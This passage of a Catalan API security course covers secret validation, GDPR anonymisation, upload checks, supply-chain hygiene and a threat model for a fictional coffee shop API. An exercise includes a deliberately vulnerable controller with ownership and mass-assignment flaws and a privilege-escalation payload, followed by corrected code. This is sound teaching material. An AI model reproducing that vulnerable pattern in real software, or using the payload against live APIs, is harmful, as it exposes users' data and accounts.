A 03-01 ja vam validar la configuració en arrencar; convé afegir la comprovació de robustesa, perquè un secret feble en producció és tan greu com cap:
// src/config/entorn.js (fragment)
const esquemaEntorn = z.object({
NODE_ENV: z.enum(['desenvolupament', 'prova', 'produccio']),
JWT_SECRET: z.string().min(32, 'JWT_SECRET ha de tenir com a mínim 32 caràcters'),
WEBHOOK_HMAC_SECRET: z.string().min(32),
// ...
}).superRefine((valors, ctx) => {
const febles = ['secret', 'canviam', 'test', 'dev'];
if (valors.NODE_ENV === 'produccio' && febles.some((d) => valors.JWT_SECRET.includes(d))) {
ctx.addIssue({ code: 'custom', message: 'JWT_SECRET sembla un valor d\'exemple.' });
}
});Que el procés no arrenqui és el correcte: una fallada sorollosa en desplegar és infinitament millor que un sistema funcionant amb un secret d'exemple.
Gestors de secrets. En producció, les variables d'entorn s'omplen des d'un gestor —HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, Azure Key Vault— que aporta el que un fitxer no pot: control d'accés per identitat, auditoria de qui va llegir què i quan, versionat i rotació.
Rotació. Un secret ha de poder canviar-se sense tallar el servei, i això obliga a acceptar-ne dos alhora durant la transició. Per a la signatura de JWT: se signa amb la clau nova i s'accepta la verificació amb la nova i l'anterior fins que caduquin tots els tokens emesos (15 minuts amb la nostra configuració). Dissenyar el codi per admetre una llista de claus de verificació, en comptes d'una de sola, és el que fa possible la rotació; a 04-03 veuràs que OAuth resol això de manera nativa amb el kid i el JWKS.
Si un secret es filtra, l'ordre importa i cal tenir-lo escrit abans de necessitar-lo:
- Rotar primer, investigar després. El secret filtrat es revoca ja.
- Invalidar el que se'n deriva: tots els tokens signats amb aquella clau, totes les sessions.
- Revisar els accessos als logs des de la data probable de la fuita.
- Esborrar de l'historial de Git (
git filter-repo) i forçar la reescriptura — però assumint que el secret ja és públic: si va estar en un repositori, es considera compromès per sempre. - Notificar segons escaigui; si hi ha dades personals implicades, hi ha terminis legals (apartat 14).
- Afegir la detecció: un escàner de secrets a la integració contínua (
gitleaks,trufflehog) perquè no torni a passar.
- Dades personals i RGPD
La Botiga Aroma emmagatzema nom, correu, adreça d'enviament i historial de compres. Tot això són dades personals i el seu tractament està regulat a la UE pel RGPD. No és matèria d'aquesta lliçó esgotar la norma, però sí conèixer les conseqüències tècniques directes, perquè afecten el disseny de l'API.
Advertiment. El que segueix són implicacions tècniques habituals, no assessorament jurídic. Qualsevol sistema que tracti dades personals reals necessita revisió de compliment normatiu per part de qui correspongui a la teva organització.
| Principi | Implicació tècnica a la Botiga Aroma |
|---|---|
| Minimització | No demanis la data de naixement si no la fas servir. Cada camp que no reculls és un camp que no pots filtrar |
| Limitació de la finalitat | Les dades de la comanda no es fan servir per a una altra cosa sense base legal |
| Limitació del termini | Comandes i adreces tenen data de retenció; hi ha un procés que esborra |
| Integritat i confidencialitat | TLS en trànsit, xifratge en repòs, accés per rol |
| Responsabilitat proactiva | Registre d'accessos a dades personals, auditable |
| Dret d'accés i portabilitat | Un procés capaç d'exportar tot el d'un client |
| Dret de supressió | Vegeu més avall: xoca amb l'esborrat lògic |
| Notificació de bretxes | Procediment i terminis definits abans de l'incident |
No registrar dades sensibles als logs. És el punt on més es falla, perquè els logs es copien, s'envien a serveis externs i es conserven molt de temps. Mai no hi han d'aparèixer contrasenyes, tokens, la capçalera Authorization, números de targeta, adreces postals completes ni correus en clar. La redacció automàtica i el detall de què es registra ho implementarem a 04-07; convé saber ja que és un requisit legal i no només una bona pràctica.
Xifratge en repòs. El fitxer SQLite, les còpies de seguretat i els bolcats han d'estar xifrats a nivell de disc o de fitxer. Una còpia de seguretat sense xifrar en un bucket mal configurat és una de les causes més freqüents de bretxa.
El dret de supressió davant de l'esborrat lògic. Aquí hi ha un xoc real que cal resoldre conscientment. A 03-05 vam fer servir actiu = 0 per a l'esborrat lògic, perquè ens permet conservar la integritat referencial: una comanda apunta a un client i no pot quedar òrfena. Però "marcar com a inactiu" no és esborrar a efectes del RGPD.
La solució habitual és l'anonimització o pseudonimització selectiva: el registre sobreviu com a entitat comptable, però deixa d'identificar ningú.
// src/serveis/clients.js
export async function exercirDretSupressio(clientId) {
return db.transaction(() => {
// 1. S'anonimitzen els identificadors directes.
repositoris.clients.anonimitzar(clientId, {
nom: 'Client eliminat',
email: `esborrat+${clientId}@invalid.example`, // .invalid mai no es resol
telefon: null,
hash_contrasenya: null,
anonimitzat_el: new Date().toISOString(),
});
// 2. Es netegen les dades personals incrustades a les comandes,
// conservant els imports: hi ha obligació fiscal de desar-los.
repositoris.comandes.anonimitzarAdrecesDe(clientId);
// 3. Ressenyes: es conserva el text, es deslliga l'autor.
repositoris.ressenyes.deslligarAutor(clientId);
// 4. Es revoquen totes les sessions i refresh tokens.
repositoris.sessions.revocarTotesDe(clientId);
})();
}Els comentaris assenyalen la tensió de fons: l'obligació fiscal de conservar factures durant anys coexisteix amb el dret de supressió, i es resol conservant la dada econòmica i eliminant la identificativa. La decisió concreta de què es conserva i quant temps no és tècnica: requereix revisió de compliment normatiu. El que sí que és responsabilitat tècnica és que el sistema pugui fer-ho: si el disseny no contempla l'anonimització des del principi, complir després és caríssim. I no oblidis les còpies de seguretat i els logs: si conserves còpies un any, la dada continua allà; cal documentar la política de retenció.
- Pujada d'imatges de cafè
POST /v1/cafes/{id}/imatge accepta un fitxer. Tota pujada és entrada no fiable i, a més, una entrada que es servirà després a altres usuaris.
| Control | Regla a la Botiga Aroma | Per què |
|---|---|---|
| Mida màxima | 2 MB | Disponibilitat i cost |
| Nombre per petició | 1 | Evita amplificació |
| Tipus permesos | image/jpeg, image/png, image/webp |
Llista blanca tancada |
| Verificació real | Llegir els magic bytes, no refiar-se del Content-Type |
El client menteix |
| Nom del fitxer | Generat pel servidor (caf_001-a3f9.webp) |
Evita traversal i col·lisions |
| Ubicació | Fora de l'arrel del servidor, en emmagatzematge d'objectes | Un .php o .js pujat no s'executa |
| Servit des de | Domini diferent (imatges.botigaaroma.example) |
Aïlla del domini de l'API |
| Reprocessament | Recodificar la imatge abans de desar-la | Elimina metadades i càrregues útils |
| Metadades EXIF | S'eliminen | Poden contenir coordenades GPS |
La verificació per contingut, que és la que gairebé ningú no fa:
// src/serveis/imatges.js
const SIGNATURES = [
{ tipus: 'image/jpeg', bytes: [0xff, 0xd8, 0xff] },
{ tipus: 'image/png', bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
{ tipus: 'image/webp', bytes: [0x52, 0x49, 0x46, 0x46] }, // 'RIFF' (+ 'WEBP' al byte 8)
];
export function detectarTipusReal(buffer) {
for (const signatura of SIGNATURES) {
const coincideix = signatura.bytes.every((b, i) => buffer[i] === b);
if (coincideix) return signatura.tipus;
}
return null;
}
export function validarImatge(buffer, tipusDeclarat) {
const tipusReal = detectarTipusReal(buffer);
if (!tipusReal) throw errors.dadesInvalides('El fitxer no és una imatge vàlida.');
if (tipusReal !== tipusDeclarat) {
// Discrepància entre allò declarat i el contingut real: senyal d'intent d'evasió.
throw errors.dadesInvalides('El contingut no coincideix amb el tipus declarat.');
}
return tipusReal;
}Els magic bytes són la signatura binària del format al principi del fitxer. Comprovar-los impedeix el truc clàssic de pujar un executable o un HTML amb extensió .jpg i Content-Type: image/jpeg.
Tot i així, la defensa més forta no és la detecció sinó el reprocessament: passar la imatge per una llibreria que la descodifiqui i la torni a codificar (per exemple sharp) produeix un fitxer nou que no conserva res del que hi hagués amagat a dins, i de passada elimina els EXIF. Si la pujada es fa directament a un emmagatzematge d'objectes amb URL presignada, el fitxer ni tan sols passa per la teva API, cosa que encara és millor per a la disponibilitat.
- Dependències i cadena de subministrament
express, zod, better-sqlite3, jsonwebtoken, bcrypt, dotenv, i ara helmet. Cadascuna n'arrossega les seves: l'arbre real són centenars de paquets, tots executant-se amb els permisos del teu procés.
# 1. Vulnerabilitats conegudes a l'arbre de dependències.
npm audit
# 2. Només les greus, i amb codi de sortida diferent de 0 per a la CI.
npm audit --audit-level=high
# 3. Corregeix el que es pugui sense canvis incompatibles.
npm audit fix
# 4. Instal·lació reproduïble a CI: respecta package-lock.json exactament.
npm ci
# 5. Què hi ha realment instal·lat i per què.
npm ls jsonwebtokenLes pràctiques que importen:
package-lock.jsonversionat inpm cia la integració contínua. Sense ell, dues instal·lacions del mateix commit poden portar codi diferent.- Actualitzar de manera contínua, no en una migració anual: deu actualitzacions petites costen menys que una de gran, i les grans es posposen.
- Reduir el nombre de dependències. La pregunta abans d'instal·lar és si el problema es resol amb la biblioteca estàndard de Node, que avui inclou
crypto,fetch,testiAbortSignal. - Fixar versions de manera assenyada: rangs estrets i actualitzacions revisades, amb Dependabot o Renovate obrint pull requests que passen per les teves proves.
- Desconfiar dels scripts d'instal·lació. Un
postinstallmaliciós s'executa en instal·lar, abans que revisis res.npm ci --ignore-scriptsés una opció quan és viable. - Vigilar el typosquatting:
expres,lodahs,node-fetchh. Copiar i enganxar el nom des de la documentació oficial evita la classe sencera.
L'atac de cadena de subministrament és avui el vector de moda precisament perquè no requereix vulnerar el teu codi: n'hi ha prou de comprometre el d'un altre que tu executes.
- Model d'amenaces lleuger de la Botiga Aroma
Un model d'amenaces no cal que sigui un document de cent pàgines. La versió útil cap en una taula i es revisa cada trimestre: actiu → amenaça → defensa → on està implementada.
| Actiu | Amenaça | Impacte | Defensa | On |
|---|---|---|---|---|
| Dades de comandes | BOLA: llegir comandes alienes | Alt (RGPD) | Comprovació de propietat al servei + 404 |
src/serveis/comandes.js |
| Dades de clients | Exposició excessiva | Alt (RGPD) | Mapejador amb llista blanca | src/serveis/mapejadors.js |
| Comptes | Força bruta al login | Alt | bcrypt + límit per IP i correu | 03-06 / 04-04 |
| Comptes | Escalada per assignació massiva | Crític | Zod .strict() + req.dadesValidades |
src/esquemes/*.js |
| Tokens | Robatori en trànsit | Crític | TLS obligatori + HSTS | Infraestructura + helmet |
| Tokens | Falsificació (alg:none) |
Crític | algorithms: ['HS256'] fix |
src/middleware/autenticacio.js |
| Catàleg | Scraping massiu | Mitjà | Rate limiting + paginació | 04-04 |
| Base de dades | Injecció SQL | Crític | Sentències preparades + llista blanca a ordenar |
src/repositoris/*.js |
| Disponibilitat | Cossos i pàgines gegants | Mitjà | limit: 100kb, limit màx. 100 |
src/app.js, 03-03 |
| Xarxa interna | SSRF per URL d'imatge | Alt | Llista blanca de dominis, sense redireccions, IP no privada | src/serveis/descarregues.js |
| Emmagatzematge | Fitxer maliciós pujat | Alt | Magic bytes + recodificació + domini a part | src/serveis/imatges.js |
| Secrets | Fuita pel repositori | Crític | .gitignore, gestor de secrets, escàner a CI |
Desplegament |
| Webhooks | Suplantació de RàpidEnviaments | Alt | HMAC-SHA256 + Aroma-Esdeveniment-Id antireplay |
Servei de webhooks |
| Superfície | Endpoints oblidats | Alt | Inventari + openapi.yaml com a font única |
Procés |
| Dependències | Paquet compromès | Crític | npm ci, npm audit, revisió d'actualitzacions |
CI |
| Navegador | Origen no autoritzat | Mitjà | CORS amb llista blanca | 04-05 |
| Logs | Dades personals registrades | Alt (RGPD) | Redacció automàtica de camps sensibles | 04-07 |
Com es fa servir: quan afegeixes una funcionalitat, hi afegeixes les seves files. Si una fila no té una casella "on" concreta, aquella defensa no existeix; és una intenció. I si una fila d'impacte crític té la casella buida, aquesta és la teva feina següent, abans que qualsevol funcionalitat nova.
Errors Comuns i Consells
Confondre autenticació amb autorització. "Té un token vàlid" només respon qui és. La pregunta què pot fer amb aquest objecte concret es respon a cada petició, i la seva absència és la vulnerabilitat número u.
Validar a la SPA i no a l'API. La validació del client és usabilitat. L'API és l'únic punt on la validació és una defensa.
Posar helmet al final de la cadena. Les capçaleres no apareixerien a les respostes generades per middlewares anteriors, que són justament els errors.
Retornar 403 en recursos aliens. Confirma l'existència i permet enumerar. 404 llevat que el recurs sigui públic.
Creure que .strict() n'hi ha prou si després fas servir req.body. La validació només protegeix si consumeixes l'objecte validat.
Desar el .env al repositori "només un moment". L'historial de Git és per sempre; el secret queda compromès encara que l'esborris al commit següent.
Refiar-se del Content-Type d'una pujada. L'escriu el client. Només el contingut real compta.
Registrar la petició completa "per depurar". És la manera més ràpida de ficar contrasenyes i tokens en un sistema de logs amb retenció d'un any.
Consell: ataca la teva pròpia API. Reserva mitja hora, agafa un token de cli_842 i prova sistemàticament: identificadors aliens, camps de més, mètodes no previstos, valors extrems. Gairebé sempre apareix alguna cosa.
Consell: converteix cada vulnerabilitat trobada en una prova. Una vulnerabilitat arreglada sense prova torna al cap de sis mesos, quan algú refactoritza el servei.
Consell: la seguretat és en capes. Cap defensa d'aquesta lliçó no és suficient per si sola. Els identificadors opacs no substitueixen la comprovació de propietat, i helmet no substitueix el TLS.
Exercicis
Exercici 1: trobar tres vulnerabilitats
Aquest controlador s'ha proposat per al nou endpoint GET /v1/clients/{id} i PATCH /v1/clients/{id}. Identifica almenys tres vulnerabilitats diferents de l'OWASP API Top 10, anomena-les amb la seva categoria i corregeix-les.
// src/controladors/clients.js
router.get('/:id', autenticar, asincron(async (req, res) => {
const client = await repositoris.clients.buscarPerId(req.params.id);
if (!client) return res.status(404).json({ error: { codi: 'no_trobat' } });
res.json(client);
}));
router.patch('/:id', autenticar, asincron(async (req, res) => {
const actualitzat = await repositoris.clients.actualitzar(req.params.id, req.body);
res.json(actualitzat);
}));Exercici 2: configurar helmet per al tauler
El tauler intern (https://panel.botigaaroma.example) necessita mostrar en un <img> les imatges de cafè que serveix l'API. Amb la configuració de helmet de l'apartat 12, la imatge no carrega. Explica quina capçalera ho impedeix i proposa l'ajust, raonant per què no compromet la seguretat dels endpoints JSON.
Exercici 3: model d'amenaces d'un endpoint nou
S'hi afegirà POST /v1/clients/{id}/exportacio, que genera un fitxer amb totes les dades personals del client (dret d'accés del RGPD) i retorna un enllaç de descàrrega. Escriu les files del model d'amenaces d'aquest endpoint: almenys quatre amenaces amb la seva defensa i on s'implementaria.
Solucions
Solució 1
Vulnerabilitats:
- API1 (BOLA) al
GET: qualsevol client autenticat llegeix les dades de qualsevol altre. Falta la comprovació de propietat. - API3 (exposició excessiva):
res.json(client)retorna la fila sencera, inclososhash_contrasenya,rol,actiui qualsevol columna futura. - API3 / assignació massiva al
PATCH:req.bodyva directe al repositori, així que un client pot enviar{"rol":"administrador"}o{"actiu":true}. - API1 un altre cop al
PATCH: tampoc no comprova propietat; un client edita un altre. - Extra: el
404es construeix a mà i no segueix el format del catàleg (detallsabsent), trencant el contracte de 03-07.
Correcció:
// src/controladors/clients.js
router.get(
'/:id',
autenticar,
asincron(async (req, res) => {
// El servei comprova propietat i llança 404 si no escau (no 403).
const client = await serveis.clients.obtenir(req.params.id, req.usuari);
// El mapejador decideix quins camps veu qui pregunta.
res.json(mapejadors.aClientSegonsRol(client, req.usuari));
})
);
router.patch(
'/:id',
autenticar,
validar(esquemaActualitzarClient, 'body'), // .strict(): nom, telefon, adreca
asincron(async (req, res) => {
const actualitzat = await serveis.clients.actualitzar(
req.params.id,
req.dadesValidades, // ← mai req.body
req.usuari // ← el servei comprova propietat
);
res.json(mapejadors.aClientSegonsRol(actualitzat, req.usuari));
})
);// src/esquemes/clients.js
export const esquemaActualitzarClient = z
.object({
nom: z.string().min(2).max(80).optional(),
telefon: z.string().max(20).optional(),
adreca: z.string().max(200).optional(),
})
.strict(); // rol, actiu, saldo o versio → 400 dades_invalidesI una prova que fixa l'arranjament:
it('un client no pot llegir les dades d\'un altre', async () => {
const r = await request(app)
.get('/v1/clients/cli_001')
.set('Authorization', `Bearer ${tokenDeMarta}`);
assert.equal(r.status, 404); // 404, no 403: no confirma existència
});Solució 2
La capçalera responsable és Cross-Origin-Resource-Policy: same-origin, que helmet activa per defecte. Amb aquell valor, el navegador es nega a incrustar la resposta en un document d'un altre origen; el tauler és a panel.botigaaroma.example i la imatge a api.botigaaroma.example, així que són orígens diferents i l'<img> no pinta res.
Ajust:
export const capcaleresSeguretat = helmet({
// ... la resta igual
crossOriginResourcePolicy: { policy: 'cross-origin' },
});Per què no compromet la seguretat dels endpoints JSON: CORP no és un mecanisme d'autorització, sinó una protecció contra atacs de canal lateral basats a incrustar respostes (Spectre i similars). Qui pot llegir el contingut d'una resposta continua estant controlat per dues coses independents: la política CORS (04-05), que decideix quins orígens poden llegir la resposta des de JavaScript, i sobretot l'autorització del servidor, que exigeix un token vàlid amb els permisos adequats. Un atacant que incrusti GET /v1/comandes/com_5001 en una etiqueta <img> no envia l'Authorization, rep un 401 i a més no pot llegir el cos.
Alternativa preferible: servir les imatges des d'un domini propi (imatges.botigaaroma.example) amb la seva pròpia configuració, i mantenir same-origin a l'API. Aïlla millor els dos problemes.
Solució 3
| Actiu | Amenaça | Impacte | Defensa | On |
|---|---|---|---|---|
| Dades personals completes | BOLA: exportar les dades d'un altre client | Crític (bretxa RGPD) | Comprovació de propietat; només el mateix client o un administrador amb justificació | src/serveis/clients.js |
| Enllaç de descàrrega | Enllaç endevinable o compartible | Crític | Token d'un sol ús, caducitat de 15 min, lligat al clientId del token |
Servei d'exportació |
| Fitxer generat | Queda accessible després de la descàrrega | Alt | Esborrat automàtic a les 24 h; emmagatzematge privat amb URL presignada | Emmagatzematge |
| Disponibilitat | Exportacions repetides per saturar la CPU | Mitjà | Rate limiting específic (1 exportació per client i dia) + procés asíncron amb 202 |
04-04 / 04-06 |
| Contingut del fitxer | Inclou més dades de les degudes (notes internes) | Alt | Llista blanca explícita de camps exportables, revisada per compliment normatiu | Mapejador d'exportació |
| Logs | Es registren les dades exportades | Alt | Registrar només l'esdeveniment i el clientId, mai el contingut |
04-07 |
| Traçabilitat | No se sap qui va executar una exportació | Mitjà (responsabilitat proactiva) | Registre d'auditoria: qui, quan, sobre qui | Auditoria |
| Notificació | El titular no sap que es van exportar les seves dades | Mitjà | Correu automàtic al client en generar l'exportació | Servei de notificacions |
Nota transversal: en ser un endpoint que materialitza un dret del RGPD, l'abast exacte de les dades incloses i els terminis de conservació del fitxer requereixen validació de compliment normatiu, no només decisió tècnica. I el disseny correcte és asíncron (202 Accepted + recurs d'estat), perquè generar el fitxer pot trigar i no ha d'ocupar una connexió: aquest patró el veurem a 04-06.
Conclusió
La seguretat d'una API no és una capa que s'afegeix, és una propietat que se sosté a cada endpoint. Has recorregut l'OWASP API Security Top 10 sobre la Botiga Aroma i has vist que la majoria de les vulnerabilitats reals són d'autorització: BOLA quan algú llegeix la comanda d'un altre, autorització de funció trencada quan un client crea cafès, exposició excessiva quan el mapejador no filtra, assignació massiva quan req.body arriba al repositori. Has vist per què .strict() de Zod i el mapejador amb llista blanca —decisions que semblaven de qualitat de codi— eren en realitat defenses de primera línia; quines injeccions continuen sent possibles després de les sentències preparades, i com es tanca l'única que quedava oberta amb la llista blanca d'ordenar; com es defensa el transport amb TLS i HSTS, la xarxa interna del SSRF i l'emmagatzematge d'una imatge maliciosa. I has afegit al projecte src/middleware/seguretat.js amb helmet, a la posició 3 de la cadena, abans de qualsevol middleware capaç de respondre.
Queda pendent el que aquest model d'amenaces assenyala com a obert. Comencem per la porta d'entrada: a 04-03, OAuth 2.0 i OpenID Connect a la pràctica, resoldrem com una aplicació de tercers —"CataBox", que vol llegir les comandes d'un client— accedeix a la Botiga Aroma sense conèixer-ne la contrasenya. Veurem els quatre rols del protocol i per què la nostra API és només el servidor de recursos; els àmbits cafes.llegir, comandes.llegir, comandes.escriure i ressenyes.moderar; els fluxos vigents amb Authorization Code + PKCE per a la SPA i l'app mòbil, Client Credentials per a RàpidEnviaments i el de refresc; la diferència entre autenticar i autoritzar que aporta OpenID Connect amb el seu id_token; i la validació de tokens amb JWKS i kid —que, no per casualitat, resol de manera nativa el problema de rotació de claus que acabem de plantejar— en un middleware autenticarOAuth que conviurà amb l'autenticar de 03-06.
Curs de REST API: Principis de Disseny i Desenvolupament d'APIs RESTful
Mòdul 1: Introducció a les APIs RESTful
- Què és una API?
- Història i evolució de les APIs
- Fonaments d'HTTP per a APIs
- Principis bàsics de REST
- Model de maduresa de Richardson i HATEOAS
- REST vs. SOAP
- REST davant de GraphQL, gRPC i webhooks
Mòdul 2: Disseny d'APIs RESTful
- Principis de disseny d'APIs RESTful
- Recursos i URIs
- Mètodes HTTP
- Codis d'estat HTTP
- Representacions, capçaleres i negociació de contingut
- Filtratge, ordenació, paginació i cerca
- Versionat d'APIs
- Documentació d'APIs
Mòdul 3: Desenvolupament d'APIs RESTful
- Configuració de l'entorn de desenvolupament
- Creació d'un servidor bàsic
- Gestió de peticions i respostes
- Validació de dades d'entrada
- Persistència i capa d'accés a dades
- Autenticació i autorització
- Gestió d'errors
- Proves i validació
Mòdul 4: Bones Pràctiques i Seguretat
- Bones pràctiques en el disseny d'APIs
- Seguretat en APIs RESTful
- OAuth 2.0 i OpenID Connect a la pràctica
- Rate limiting i throttling
- CORS i polítiques de seguretat
- Memòria cau HTTP i rendiment
- Observabilitat: logs, mètriques i traces
Mòdul 5: Eines i Frameworks
- Postman per a proves d'APIs
- Swagger i OpenAPI per a documentació
- Frameworks populars per a APIs RESTful
- Contractes, mocks i proves automatitzades d'API
- Integració contínua i desplegament
- API gateways i portals de desenvolupador
